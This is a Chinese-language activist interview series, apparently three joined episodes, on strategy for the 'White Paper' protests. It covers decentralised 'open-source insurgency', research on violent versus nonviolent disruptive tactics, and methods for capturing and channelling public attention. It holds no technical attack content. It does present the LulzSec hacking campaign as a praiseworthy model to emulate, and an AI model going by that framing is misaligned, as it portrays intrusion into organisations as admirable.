1、放手。创始团队应该放弃在早期阶段获得的对起义的任何控制。在实践中，这意味着放弃对任何实现目标、谁可以参与、如何组织沟通等的控制。留给创始团队的唯一控制权是榜样的力量和通过有效行动获得的尊重。

2、抗拒诱惑，不要扩充。保持住小规模。不要扩大到使团队容易成为对手的目标的规模。不要建立正式的团体、不要层级控制或复杂的目标，那将导致开源起义分裂/分叉。

3、分享。向加入项目的其他团体提供资源、想法、信息、知识和人力。在不影响焦点（操作的安全性和可行性）的情况下，尽可能多地分享。

退出是一个成功的焦点小组在实现开源起义后的最佳选择。更加民主（和无政府）的革命后社会组织形式将从整个胜利团体联盟的合约中出现。

以下是焦点小组启动开源项目的推荐行动方案：

「图」

1、创建一个领导小组来启动项目（“焦点小组”）。建议五个人参加。计划在项目启动和运行后解散该焦点小组。

2、提高认识（关于行动战略的关键议题的基本认识）。

3、与现有的团体进行联系（进入开源）。

4、创建一个活动来启动该倡议（吸引和激励接下来的参与）。

该活动应该是一个高质量的引人注意的活动，可以吸引大量注意力的那种，同时可以清晰地表明实现既定战略目标的可能性。

该活动通常作为向广大受众首次发布行动意向的载体（如果您没有自己的媒体/发言人团队或规模较小，该行动需要足够让您可以寄生在其他人控制的媒体上）。

5、组建工作小组。

6、通过通信技术加强行动的影响。

7、创造可见的进展实例。旧的实例的效用会不断下降，所以需要不断地用新的实例进行更新（见本系列第2集中的描述）。

8、提高技能和学习（分享技能/知识）。

9、与潜在的资金和支持来源连接起来（团体资金是一个潜在的弱点，所以应该谨慎对待；另一方面也要尝试用新的和替代的手段来重新分配影响力）

10、允许项目自我驱动。

11、正式制定计划。不仅考虑焦点小组的贡献，同时考虑到次级小组将做出的所有贡献。

以下是一些案例，曾经发起成功的开源项目的代表：

「图」

1、透明度革命。

「图」

这是我们讲述过最多的内容，您可以在列表-5中看到信息汇总。

2、黑客主义。**LulzSec / Anonimous**

「图」

LulzSec 组织是一个很好的开源起义的应用，它充当了焦点小组的角色，建立了可信的承诺：它的黑客攻击是出色和成功的，并证明了—— 尽管大型组织在安全方面花费了数十亿美元，但还是有可能攻击并击败它们。

那次行动引发了世界各地的模仿者/复制者。

最后，该组织最终宣布退出（2011年6月26日的 “50 days of lulz”），放弃了任何正式的领导角色。然而，不到一个月后，该团队显然又发起了一次攻击。

如果 LulzSec 能设法分解，逃脱被对手击败的命运，那么它就会为自己创造的合理承诺加分。然而，随后发生了一系列逮捕行动—— 据推测是逮捕了该组织的所有六名成员。此案例当引以为戒。

LulzSec 的风格—— 严肃的攻击和不严肃的策略相结合（使用 meme；对目标的称呼更像是恶作剧）—— 使他们的行动特别显眼。

以下是他们网站上的一段话，清楚地描述了开源起义的焦点角色：

> “在过去的50天里，我们一直在攻击和谴责公司、政府 …… 仅仅是因为我们可以。

3、马科斯

「图」

萨帕塔民族解放军没有实施成熟的开源起义算法，但副司令马科斯的故事是一个媒体“焦点”的好例子（虚拟的欧赫迈罗斯/集体身份）。它讲述了当代具有无政府主义立场的起义者如何成功地从传统的暴力冲突转变为利用价值观实力和媒体来实现他们的目标而不至于破坏当地社会。

副司令马科斯成为一个公众人物，成为整个运动进行媒体运作的焦点。通过这种方式，该运动能够获得全世界公众的支持，束缚其对手的手脚，并进入有限的冲突领域，以便调用更为和平的方法在那里坚守阵地。萨帕塔的经验是发展新的无政府主义“以爱为武器战斗”的一个重要案例。

最后，马科斯能够克服领导力的诱惑，自行分解，就像所有“焦点”应该做的那样。2014年5月，“他”宣布马科斯不再存在（官方网站上的“光与影之间”）。

以下这段文字出现在1994年5月28日马科斯发出的公报的附言中：

> 马科斯是旧金山的同性恋者，南非的黑人，欧洲的亚洲人、圣伊西德罗的墨西哥裔移民，西班牙的无政府主义者，以色列的巴勒斯坦人，圣克利斯托瓦尔街上的原住民，贫民窟中的帮派分子，大学城中的摇滚青年，纳粹德国的犹太人，墨西哥国防部里的廉政调查员，政党中的女性主义者，后冷战时代的共产党人，西塔拉巴的囚犯，波斯尼亚的和平主义者，安第斯山中的马普切人，国家教师工会中的教师，没有画廊或画册的艺术家，墨西哥任何部分、任何一座城市、任何一条街区上星期六晚上的家庭主妇，二十世纪末墨西哥的游击队员，独立工会中的罢工者，被迫编造花边新闻的记者，女权运动中的性歧视者，夜晚10点地铁上的单身女人，于墨西哥城宪政广场上静坐的退休老人，无地的农民，待业的编辑，失业的工人，没有病人的医生，反叛的学生，新自由主义的异议者，没有书或没有读者的作家，当然了，还是墨西哥东南的萨帕塔人。总之，

以下文字是白纸抗议行动中哥伦比亚大学留学生的演讲：

> 我们是广场上的遗孤

请对比两段文字，无需解读。

4、俄罗斯反战运动。

「图」

在俄罗斯的反战运动中就有一场开源起义。由于众多的游击队袭击，出现了一个快速清晰化的承诺，可以表述为："克里姆林宫并不是坚不可摧的，我们可以袭击并击中目标"。

在这个行动项目中，很多具有非常不同意识形态的团体走到了一起：民族主义者、民主人士和无政府主义者并肩工作。蜂拥而至的、多焦点的抗议活动在各种地方场合出现，这些抗议活动涉及到很多长期被去政治化的甚至是对政权忠诚的人，形成了新的活动分支，同时也包含了爆炸性扩张的潜力。

这就是游击战战术最漂亮的地方，镇压者的火力被迫分散化，强度被严重降低。新加入的抗议者不断复制和完善特定类型的行动和组织方式。

然而，这还不够。一个提供"未来的美丽图景"的极简主义形象的积极想法可以概括和强化许多反抗的理由。

在这种情况下，我们的任务是转移似是而非的承诺，使其更多地表达参与者的目的。而且还要把它扩展到更多的团体。

还有许多其他开源起义的例子，如反法西斯运动、占领运动、反特朗普运动，等等。没有必要全部列出。

最近几年的一些新的实践经验已经更新了20世纪末的方法。包括：

「图」

1、意识形态 vs. 行动目标。

传统的开源起义如格瓦拉，假设了某种程度的动机和方法论的纯洁性，这种纯洁性在分散化的组织中得以维持，而没有受到正式等级制度的影响。但在现实中，情况可能并非如此，因为所有的斗争，像政治一样，都是地方性的；而无中心化的斗争是超越本地的。开源运动拥抱这种多样性，并设定了通常是简单的、能为大多数人所接受的、可操作的目标（最好描述为一个合理的承诺，比如"我们可以推翻GFW"）。这样一个没有意识形态包袱的目标，使具有不同动机和背景的广泛群体都能够加入这个行动项目。此外，所有参与者都可以通

过公开手段（媒体/互联网）进行交流。这不是任何区域化的或意识形态的系统能做到的。

2、隔离/独立 **vs.** 复杂的交叉互相作用。

根据传统的方法，每个参与其中的团队都可以完全独立于该运动；而现在，在此基础上开源运动允许各种各样的交叉联系，快速传播方法学的更新，它们甚至允许创建微观市场，通过经济互动聚合运动的能量。

3、赞助反叛 **vs.** 可行的反叛经济。

起义的赞助人往往有自己的利益预期作为动机，这是一种投资，而非无条件支持。这些预期会随着局势的变化而改变，于是这些投资是不稳定的，并对起义的战略有影响力。这就是传统起义的脆弱性。开源起义则没有那么脆弱，它可以在各种经济活动中进退，甚至可以创新微观的经济模式。不仅能够满足目前的需求，而且还能扩大业务。

Q：这就是为什么你们总是说"创造力才是最重要的胜算筹码"？

iyp：是的。超越传统的抗议、超越传统起义、避免传统革命的悲剧循环，是可能的。

Q：白纸行动要如何实现在全世界范围内被理解？难道中国还不够特殊吗？彭载舟的诉求是要选票，而你们总是说 "直接行动"，这里的区别是什么？

iyp：是的，中国有着独特的人口管理制度，但是，中国反抗者的愿景恰好处于 .....

📱 预告下集话题：

「图」

> 中国的反封锁抗议究竟代表着什么？人民的怒火是从哪里开始的？直接行动如何比选票更有效？

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第6集) - 托尔斯泰还是张献忠？不... - iyouport

在白纸之上

托尔斯泰主义者和张献忠主义者只是一体两面。

欢迎回来！这里是第6集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们”伊朗了”吗？》
- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》
- 《年终礼：在白纸上绘制未来(第3集)—要与统治者竞争智商，而不是与公众》
- 《年终礼：在白纸上绘制未来(第4集) - 是的，有一种很难被镇压的起义》
- 《年终礼：在白纸上绘制未来(第5集) - 砸烂闭环》

Q：白纸最初时网络上就开始传非暴力教父吉恩·夏普的作品译著，我都不知道该怎么形容这事，如果你知道你面对的镇压者是谁的话，你现在应该赶紧找个防弹背心穿上吧，还有头盔，而不是去读什么非暴力理论。 我并不是说非暴力没用，我也绝对不是任何暴力爱好者，我深知仅仅暴力可能很难解决问题，但现在的状况是，参与这个辩论的人都是在试图把论题拉到所谓的道德的层面上来，各式的托尔斯泰主义者，不论如何这都不对劲，我不懂理论，但我知道在跟土匪过招的过程中道德无法决定输赢。 一半是托尔斯泰主义者，另一半是张献忠主义者。 无政府主义主张暴力还是非暴力？你们说的"基于战略的考量” 是个结论吗？这要如何说服托和张们？

iyp：托尔斯泰主义者和张献忠主义者只是一体两面。 虽然我不觉得“说服” 其他人的必要性有多大（这里的重点在于活动家自己的认识，而不是与观众进行争论），但本文将尽量列举一些研究资料，您可以用它们来反驳其他人，也可以进一步研究。

暴力还是非暴力这一划分本身是错误的。但争论并不奇怪，长期以来，全世界的活动家们一直在争论哪种策略更适合于提升反抗效用——破坏性的还是和平的。您说的没错，道德论在此有点跑题了，但议题很重要，值得加入，我们可以转向运动社会学来进行评价。

近几十年来，已经有许多研究论文表明了破坏性抗议策略的有效性（此处仅举几个例子：McAdam 1983年的经典之作，Biggs和Andrews 2015年，还有Shattuck 2013年的研究等等）。

另一方面，也有越来越多的研究证明了非暴力抗议策略的好处（比如Chenoweth 和 Stephan 2008）。

这似乎是一个矛盾，但只是乍看上去而已。

事实上有三类战术

「图」

并不是 “暴力” 和 “非暴力” 两种战术，而是三种。

在此您应该了解：

1、“破坏性战术” —— 这个概念本身既包括暴力方法也包括非暴力方法，尽管很多时候人们往往不加以区分。这包括任何扰乱机构正常运作的、或阻断社会日常事务的战术。例如：即使不使用暴力，设置路障封锁街道也能做到扰乱一个机构、甚至一个地区的日常事务（比如西班牙卡车司机封锁高速公路反对油价上涨，等等）。

2、暴力战术可被视为破坏性战术的一种极端形式。

3、非暴力破坏性战术可被视为破坏性战术的一种温和形式。

“The Use of Disruptive Tactics in Protest as a Trade-Off: The Role of Social Movement Claims” by Wang and Piazza 这份研究中确认了这三类战术：非破坏性、非暴力破坏性和暴力破坏性。

是一个权衡的结果

「图」

破坏性战术更能吸引媒体、公众和政府的注意（Amenta 2009；

Snyder and Kelly 1977；Mueller and McClurg 1997；Tarrow 2011；Gamson 1975），更容易彰显运动的决心（可以影响对手的决策），能够通过扰乱社会某些部分的功能来引发习惯性社会结构和常规做法的连带转变（Koopmans 2007; Sewell 1996）。

但通过使用破坏性战术，可能导致抗议者疏远基层的支持（Feinberg, Willer and Kovacheff 2017; Haines 1984; Haines 1988; Elsbach and Sutton 1992; Johnson, Dowd, and Ridgeway 2006），而基层支持更容易增加运动成功的机会（Ohlemacher 1996; Chenoweth and Stephan 2008; Meyer and Whittier 1994; Van Dyke and McCammon 2010; Heaney and Rojas 2014）。

这意味着，在选择战术时，抗议者需要在两方面做出妥协：一方面，要利用破坏性方法所提供的“政治有效性奖励”；另一方面，尽可能不要失去支持。

一些论文显示了这种“战术权衡”是如何形成的（比如 Wang and Piazza 2016; Feinberg, Willer and Kovacheff 2017）。

活动家的选择

「图」

这些战术之间的权衡可能取决于以下参数：

1、抗议的对象 —— 政府、企业、或非国家机构。当抗议活动以政府机构为目标时，使用破坏性战术的可能性总体上变得较小，但是其可能性会随着抗议活动的规模而增加（Wang and Piazza 2016；Walker, Martin, and McCarthy 2008； Martin, McPhail, and McCarthy 2009）。

2、当专业的正规组织加入抗议活动的时候（Wang 和 Piazza 2016；Kriesi 等 1995；Meyer 和 Whittier 1994；McCammon 2003；Staggenborg 1988）。当专业组织进入一个运动时，他们打开了获得更多资源的渠道，这使得游行和示威等公共破坏性策略不太可能被使用（至少在政治机会结构相对开放的国家是这样），而是会倾向于谈判。

3、警察和反示威者在抗议活动中的存在（不同的研究结果不一）。

4、抗议议程对不同受众的覆盖范围的广度（Wang and Piazza 2016;

Piven and Cloward 1977; Scott 1985; Van Dyke, Soule, and Taylor 2004; Tarrow 2011; Heaney and Rojas 2014; Jung, King, and Soule 2014; Grant and Wallace 1991; Jenkins and Eckert 1986）

现在我们只看上述最后一点。请注意，我们现在不考察某个议程动员支持的能力，而是考察将抗议主张扩大到更多受众的过程。

以下是该研究的主要结论（仅总结）：

1、抗议团体的议程越是边缘化，就越有可能采取破坏性的暴力战术。

2、抗议团体的议程越广泛，就越有可能采取破坏性的非暴力战术。

3、非破坏性的战术在大多数抗议活动中都有使用，而且几乎与议程的范围无关。

4、抗议活动的反政府重点或正式组织在抗议活动中的存在，通过增加使用非破坏性战术的可能性从而抑制了抗议议程的广度与使用破坏性非暴力战术的可能性之间的正相关关系。使用破坏性的暴力战术的可能性仍然与狭隘的抗议要求有关。

5、在反政府抗议活动中，使用各种类型的破坏性非暴力战术的可能性急剧下降，而暴力战术则更有可能被使用。

6、最边缘化的群体最有可能诉诸暴力，但即使他们使用的抗议议程的广度只是略有增加，也会大大降低暴力的可能性。

看来，使用覆盖范围最大的议程的抗议团体会倾向于采用非暴力破坏性战术（如公众游行封锁道路）来提高抗议的有效性，但会避免采用暴力破坏性战术（如武力占领关键建筑物），因为这可能会疏远现有和潜在的公众支持。这篇文章的主要结论是，抗议者选择破坏性战术的程度取决于他们的抗议议程的广度和对目标的选择。

文章引用了一个很著名的例子。湾区地铁系统的员工在2013年7月为加薪进行了罢工。导致四十万名乘客失去了使用该服务的机会。然而，在发现工人的平均工资超过8万美元—— 远远高于该地区的平均工资后，当地社区就不支持这次罢工了。人们认为，对这样的要求来说抗议活动所造成的不便太大了。因此，如果抗议的战略目标不能证明抗议的破坏性程度是必需的，那么破坏性的抗议形式就会疏远潜在的支持。

非暴力需要一个平衡点

「图」

但上面的数据并没有直接测试这些解决方案的有效性，它只显示了哪些解决方案更经常被采用。可以假设，当抗议议程被广泛接受时，使用破坏性的非暴力战术将是一般情况下最有效的解决方案。事实上有许多研究支持这一点。

非暴力运动更善于吸引支持（Chenoweth和Stephan，2008年；Orazani和Leidner，2019年），更有可能引起权力掮客、官员和企业的忠诚度转变，并且一般来说，赢得的次数是暴力运动的两倍左右（Chenoweth和Stephan，2008年）。

但这并不是说非暴力的破坏性战术是普遍的答案。这种权衡总是由具体的战略背景决定的，并取决于政治环境和抗议者自身的能力。战术之间的选择始终都是灵活的；它更多的是一个破坏程度和暴力程度的问题，而不是在三个选项之间跳跃式的转换。请牢记关键词：抗议者在不同参数上找到利弊的平衡点，以达成战略妥协。

如果一个参数的值是刚性固定的（也就是说，无论我们怎么做，运动都不会获得或失去支持）或多余的（比如说几乎所有人口都支持该运动），那么在另一个参数上的选择就会比较自由（即 可以使用更多的破坏性战术而不受到“惩罚”）。

复杂系统

「图」

以上是一个极简的框架。现在我们来补充一些可能使整体情况复杂化的细节。

1、抗议的扩大化和抗议的规模

「图」

Martin, McPhail, 和 McCarthy 2009年的研究表明，暴力的概率会随着抗议事件的规模而增加；然而，如果我们区分暴力的目标（针对当局的暴力、针对平民、针对公共或私人财产的破坏），就会发现，虽然某些类型的暴力概率在增加，但其他类型的概率却会减少。对于不

同类型的事件和不同的集体来说，这可能会发生不同的情况。

在这里，指出事件的规模和暴力的可能性之间的关系是很有意思的——可以看到与Wang和Piazza的研究结果有矛盾之处。如果允许对上述研究的结果进行比较（要认真地而不是以猜想的方式进行比较，就需要单独写一篇大的论文），人们可能会认为，在运动中不同类型的战术之间可能存在着相对复杂的权衡动态：当抗议活动扩大议程时，往往会采用破坏性较小的战术；大型抗议活动更可能涉及一些破坏性较大的战术；但适度的破坏性（而非暴力）运动则会吸引较多的参与者。

也许一个运动需要较少的破坏性战术来获得和维持支持度，但是，一旦一个运动获得了更多的支持，它要么允许有更多的破坏性战术，要么可能会激起这些战术的使用。这反过来又会缩小支持范围。

这一建议呼应了关于社会中继的研究，即，一个设法创造出更温和的形象的团体获得了当地社区的更多支持，并且事实上能够使用更极端的战术（Ohlemacher 1996）。

另一项与此假设有关的研究也值得关注。Jasper 2004年的研究以美国的反核运动为例表明，当抗议者通过形成战略联盟来扩大他们的要求时，会给抗议活动带来更多的组织资源，最终增加使用破坏性抗议战术的能力。

2、专制国家的动态

「图」

Paul Almeida 提供了一个理论框架，用于理解专制背景下的抗议活动的动态。国家的自由化刺激了社会运动中正式组织的出现和发展，这些组织将运动推向破坏性较小的抗议形式（“自由化激起的动员”）。但当国家再次收紧螺丝时，公民社会就会利用自由化时期积累的组织资本，转向更极端形式的抗议活动（“镇压激起的动员”）。

3、激进侧翼效应

「图」

研究人员描述了激进的侧翼效应：在某些情况下，使用极端战术并传播更极端要求的团体可以为更温和的抗议活动的成功做出贡献。

4、暴力概念的碎片化：类型、目标、程度

「图」

在抗议活动使用暴力的整体动态中，重要的是要区分战略性暴力（活动家根基战略目标选择的暴力战术）和自发性暴力（例如被动的暴力反击—— 对镇压者和反示威者的反应）。不同的类型可能更多的与动态的不同方面有关。此外，研究人员还区分了暴力的目标（当局、公民、私人财产、公共财产）和暴力的程度（例如，“非暴力” 往往是指暴力相对较少的运动）。

5、暴力倾向

「图」

暴力并不总是阻止公众的支持。重要的是暴力的性质。虽然抗议者的暴力会减少公众的支持，但是任何针对抗议者的暴力都会吸引公众支持。

一些研究已经表明，抗议者的报复性暴力，或镇压造成的暴力反弹（Earl, Soule, and McCarthy 2003），可能比抗议者发起的暴力获得更多的支持。

为了从理论上解释新的详细数据，将需要具有更大 “自由度” 的更灵活的概念。为了捕捉上述微妙现象背后的机理，Martin, McPhail, 和 McCarthy 2009年的研究确定了两个可以影响外部受众对抗议规模看法的参数：破坏性潜力和合法性。可以理解为 “道德资本”。

对暴力的偏见

「图」

综上，暴力的倾向与无政府主义思想无关。它只反映了一个边缘化的亚文化的状态。这是一个典型的情况：挫折感、社会孤立和资源匮乏，迫使一个小团体或个人诉诸于在短期内不需要投入太多就能产生明显“效果”的战术，尽管这些战术很可能使事情无法取得显著进展。

不论是托尔斯泰主义者还是张献忠主义者都只是在添乱。一种对情况的错误理解在与另一种错误放在一起对比时就会变得更加强烈。

在某种天真的思维中，极端的、吸引眼球的、快速的，似乎是更‘真实

的’；简短的启发式思维暗示武装斗争的有效性。

但是，如果我们能开始从战略上看待“暴力”，就会得到一个非常不同的画面。

Q：能不能推荐一些入门的资料给对反抗运动一无所知的人？

iyp：可以读这篇论文 “Framing Processes and Social Movements: An Overview and Assessment”。框架过程应该与资源动员和政治机会过程一起被视为理解社会运动的性质和进程的核心动力，对中国的情况来说，后两者已经被讨论过不少了。

框架化可以被看作是一场产生动员和反动员的思想和意义的斗争。

行动者不仅仅是意义的承担者，而且还与媒体和当局一起创造和维持这些意义—— 符号的政治。

就如白纸。

Q：白纸可以说很幸运了，这么朴素的战术也能快速吸睛。是不是因为中国人大规模抗议的情况太少了呢？如果是，下次可能就没那么幸运了，好像有个悖论，抗议活动越多就越难以吸引人（俗称鸡肋化），动员能力和效用都会下降。要怎么才能更吸引人呢？是否有什么规律？ 对话好难。一定程度上异议之间也出现竞争关系，要么为避免吵架而拒绝评论，要么就是纯粹为吵架而瞎评论。交流的价值很低。一些圈子里设立的道德规章原本是为了避免吵架，可结果比没有更糟糕。我记得你们写过 "异议不懂爱"，在这个问题上要 "爱" 那就是客气，就意味着无法深入交流，这是矛盾的吗？

iyp：关于吸引力，的确有一点规律。但白纸还谈不上 “幸运” .....

预告下集话题：

「图」

运动的 “吸引力法则” 和反对派的 “新礼仪”

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第7集) - 运动的吸睛度法则和反对派防骂仗的技巧 - iyouport

在白纸之上

道德本身是一种技术。是一种在社会关系中组织情感的技术。因此，应该从技术的角度上而不是从情感的角度上对待道德问题。

“За нашу и вашу свободу!—为了我们和你们的自由”—这是1831年11月波兰反对俄国沙皇起义的座右铭，当时这句话被使用波兰语和俄语写在叛军的旗帜上。这是对街垒另一边的人，甚至是敌军士兵的呼吁，呼吁他们一起来反对暴政。这个口号在十九世纪和二十世纪东欧解放运动的旗帜上一直延续到今天。

欢迎回来！这里是第6集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们”伊朗了”吗？》
- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》
- 《年终礼：在白纸上绘制未来(第3集)—要与统治者竞争智商，而不是与公众》
- 《年终礼：在白纸上绘制未来(第4集)—是的，有一种很难被镇压的起义》
- 《年终礼：在白纸上绘制未来(第5集)—砸烂闭环》
- 《年终礼：在白纸上绘制未来(第6集)—托尔斯泰还是张献忠？不...》

Q：如今中文媒体对其他国家的抗议活动很大程度上还是有一种看热闹的心态，而就在几年前，如果你讨论其他国家的抗议活动，就有人会跳出来说你是“新闻联播”（新闻联播最后的部分总是“其他国家又乱了/水深火热”）。 这意味着在中文圈讨论其他国家的反抗有可能既没有流量，甚至还危险，容易被误读。于是很少有你们这样仔细分

析每个国家的反抗行动的。你们不担心被说成是新闻联播吗？

iyp：不会担心。我们眼里没有国界。不论是俄罗斯的抗议活动、伊朗的抗议活动、还是印度、智利，或者其他任何国家，所有这些事件都直接影响到所有人 —— 抗议活动会从一个国家蔓延到另一个国家。俄罗斯的反抗者已经开始使用中国广州反抗者的行动来激励战友；他们称 “我们在伊朗和在中国的同志们”。事实上，抗议浪潮经常能够同时穿越多个国家，实现迅速蔓延。

但要实现这一目标，需要具备几个前提条件；当缺少这些条件时，它就容易变成新闻联播，或者吃瓜。

这些条件是：

A) 发动大量独立媒体对全世界的反抗行动进行解读，展示抗议者的情况，解释他们为什么 “和我们一样”，为什么我们之间没有区别。

所谓抗议的 “扩散”在那些认为自己处于类似 “结构位置” 上或有共同身份的人之间有更好的效应。与此相反，在相互之间认为非常不同的群体之间的扩散几乎不会发生（社会学家杰玛·爱德华兹对此有过论述）。

他者化，就是新闻联播做的事。

不仅如此，种族主义/国家主义的舆论也起到了分化的作用。比如，声称欧美人的抗议往往是抗议者主动出击的，而亚洲人只能以忍无可忍的被动方式站出来。这就不利于行为的传播。伊朗或中国的人们的确容忍了很长时间，现在他们不再容忍了，事实证明，并不存在与生俱来的奴隶心态。

B) 根据当地情况 “重新制定” 抗议者的策略和信仰。

您可以在来自不同国家的人之间找到很多共同点—— 但例如伊朗和俄罗斯战友的信仰或战术仍然需要被中国抗议者进行本地化调整。这将需要一些工作。

伊朗和俄罗斯是独裁政权下抗议的最新经验，因此这里有很多东西可以学习。它是一个试验场，用于测试以后可能对您的本地有用的方法。

C) 趁着其他国家的大势所趋，进行本地的动员。

战术不仅需要在理论上进行调整，还需要转接到当地的土壤上。以同样的方式，需要创造类似的先决条件。

白纸行动最值得关注的地方在于跨地区的团结，这打破了曾经对中国民间反抗行动的一些刻板印象。当我们将其框架化在国际层面上时，将有助于最大化其资源和能量。

Q：白纸可以说很幸运了，这么朴素的战术也能快速吸睛。是不是因为中国人的大规模抗议太少了呢？如果是，那下次可能就没那么幸运了，好像有个悖论，抗议活动越多就越难以吸引人（俗称鸡肋化），动员能力和效用都会下降。 要怎么才能更吸引人呢？是否有什么规律？

iyp：白纸还谈不上太“幸运”，但不是行动者的问题，而是因为缺少基础设施。

这需要重申一下对于一场运动/一个行动来说，什么是“吸引”—— 它指的应该是有足够多的人会跟随信号抵达正确的“目的地”，这个目的地是符合运动战略目标的/往往由行动者预先设置。这意味着运动本身需要有自己的论述（包括发言人），一个不容易被歪曲和污蔑的纲领，一个具有足够大的共识的战略目标。如果没有这些基础设施，不仅会导致舆论冲突从而脱离战略（一定程度上就像最近这样），而且很容易被镇压者和媒体所利用。

白纸作为符号是一个很好的注意力资源。众所周知，围绕着注意力的发展，已经形成了一个完整的产业，超级资本家正在大量“生产”这种资源，并影响整个世界；小型创业企业拼命地想要得到它。

在这一点上，运动/起义/革命/反抗动员，具有同样的道理。

“生产”的过程大致可分为三个部分：吸引、引导、回收。

行动主义本身是吸引注意力的工具之一。为了吸引注意力，行动者向信息领域发送特殊的信号，引起人们的好奇心 —— 这样的信号被称为“来由”。来由不需要直接起作用，它的主要质量就是它的吸睛度、“新闻价值”如何。彭先生就是一个高质量的“来由”。

但这只是开始。一旦注意力被吸引到行动上，它就必须被“转移”到目标对象上。例如，反对战争、反对垃圾填埋场、反封锁暴政 .....

换句话说，给予目标对象的注意力必须在其溜走之前被“绑”起来，然后“转化”为其他类型的资源和影响力。

镇压当局当然会努力消除其影响，比如通过内容审查、以及增大维稳部署等等。他们只有这些牌，而所有这些手段都很可能加强而不是减弱这一“来由”的影响力。

关键在于活动家的快速部署，以便实现及时的转化。

吸引、引导、回收，才是一个完整的流程，缺一不可。

Q：我看到有人说举着白纸是小清新赚流量。你们觉得呢？

iyp：也有一些俄罗斯活动家认为，当大火烧毁了一间征兵办公室时，这是一种“真正的”行动；而当一场火灾为媒体创造了一个画面时，它只是一个“虚假的”和“无意义”的行动，仅仅是一种姿态。姿态这个东西只能赚流量，可供媒体拍照，却没有实际作用。

其实这是误解。这些媒体照片可能在战略方面没有直接作用，但它们在不同的机制中起作用。那就是，注意力。

注意力绝不是无用的东西：正是注意力给了一个运动捐助、新成员、道德支持、武器、观众—— 最后是对当局的影响力。只有抓住人们的注意力，您才能把您的运动的信息传递给人们。

捕获的注意力数量决定了行动的其他效果—— 如威慑或“感染力”（抗议行动刺激观众模仿的能力，从而将一个行动变成一系列行动）。或者不确定性的扩大，会引起连锁反应，动摇统治秩序。

Q：白纸这种能迅速吸引人是因为清零的灾难太引人注目了吧？

iyp：白纸能成为“来由”是因为与观众对中国社会的普遍刻板印象相矛盾，在此它是“违背常规”的，并突出了“被禁止”的荒诞。

什么能吸引人们的注意？—— 冲突性的、耀眼的、违背常规的、被禁止的、识别度超高的、怪异的 ..... 都包括。一个社会平日越是沉闷和古板、被禁止的东西越多，吸引公众注意力就越容易。

对于活动家来说，要找到一个吸引人的“来由”列表，以便衡量取舍。建议多阅读各种新闻事件，试着摸索新闻吸引力的规律。

但必须要注意：当一种方法被证明是有效的时，它就会迅速被模仿，与古怪程度无关（比如反击步态识别的古怪步行）；你会看到越来越多的人在做古怪的事，因为它很酷，很吸引人的注意。再然后它就会迅速变得寻常；下一次需要吸引人时就可能不得不采取更极端的方

法。

这也是白纸需要注意的。从现在开始，中国社会已经变得更加激进，下一次要找到吸引力的“来由”可能就不会如此简单了。

Q：“吸引” 之后呢，“引导”是什么意思？

iyp：为了方便想象，您可以把它理解为用户体验/用户界面，但是在现实生活中的。也就是说把一个行动或整个运动想象成一个单一的假想网站。

在选择了一个有吸引力的“来由”后，您就需要将注意力从它转移到最终的“网站”。这就是引导。

就像在互联网上使用链接那样。链接是传输注意力的管道。在现实生活中它就是语言中的意指（能指和所指，外延和内涵）。符号学UI。

比如：在免费赠送的咖啡纸杯上印了一个网站的二维码，其中一部分看到这个二维码的人就会进入您的网站以了解您的内容。您已经引导了观众的注意力。

再比如：想象一个场面，满天都是气球，每个气球上都画着一个特殊的符号。没有二维码，没有文字，没有任何说明，没有人知道那个符号是什么意思。但这个符号被记住了，并与一个特定“来由”相关联。当在不同的情况下再次遇到这个符号时，它将很容易得到额外的关注。因为意识提高了。

您可以通过具体说明需要做什么和什么时候做，将注意力转化为行动；通过提供具有正确信息的内容，将注意力转换为说服力，等等，以此类推。

目标不一定必需是内容或具体行动。通过引导公众对某些问题的关注（“现实化”），就可以产生广泛的影响。对一些问题的报道可能会造成公众的分裂，而其他问题可能会引起大规模抗议。

一个有效的行动会一下子吸引很多人的注意。对注意力的有效处理将使其重新指向目标，并使损失最小。为了做到这一点，就需要以某种方式建立一个转换链，并在这个过程中协调正确的“用户体验”。

比如从四通桥到白纸到反暴政到反边境制度，这是一个转换链；如果彭先生了解这一转换，他的损失应该可以被降至最低（理论上），可能不必要以自我牺牲为代价。

需要注意几件事：

1、每一次“转换”都会损失一部分注意力，因此链条不宜过长。一般来说转换两次就是极限了，两次后必需过渡到主要信息。

2、在计划的最初您就应该能够把链路画出来，做到心里有数。但不需要追求太精准，转换的节点之间也不必需是分层的或顺序的，它们可以根据具体任务以不同的方式构建（以不那么容易被猜到的方式）。

3、在设置转接的过程中您只需要注意不要“脱臼”就可以了。请记得，与“来由”紧密结合的链路不容易脱臼，而且在转换的过程中注意力的损失最小。逻辑清晰的链路也不容易脱臼，这意味着需要及时配合强有力的论述。

4、需要演习。设置链路的人不要参加演习，邀请那些对您的想法一无所知的可靠的朋友尝试摸索这个链路，您会发现它是否恰当（观察注意力在各节点之间的分配情况，是否与设计者的预期接近）。

5、即便演习结果您很满意，也建议将中间步骤减半。因为您永远不可能用几十上百万人来演习，这个数字应该是您追求的受众群规模，在这种规模下，每多一个转换步骤，注意力就会大量流失。

6、转换节点并不必需是机械性的，相反，它们很可能是有机的。比如一个中间节点可以是一个“数字生态系统”—— 一个论坛和/或公众网络，一个社区围绕它出现。理想情况下，您甚至可以创建一个具有注意力积累循环的自我维持过程 —— 社区扩展。

7、考虑媒体环境。尤其是议题注意力周期（Issue Attention Cycle）模型。

我考虑了一下关于是否应该举例子来介绍这一方法，最终决定，不举任何例子。因为，即便是非常含蓄的描述，一旦描述出来，就会弊大于利。会导致您的对手更受益。所以，建议您自己来想，并且只与直接参与行动的队员交流。

此外，要注意，如果一个方法在场合A的状况下效果不好，先别直接放弃，它也许在场合B的情况下吸引力会很高。不同的受众群体可能在不同的场合中对同一个信息产生兴趣。

还需要注意的是，对大型媒体的吸引力与对公众的吸引力有可能并不是同一件事 —— 您的行动计划的革命性越高，这种不一致就会越明

显。在某个阶段上也许媒体更“有用”，但在多数情况下，都是公众的注意力具有最高价值，尤其是您的运动的目标对象群体。

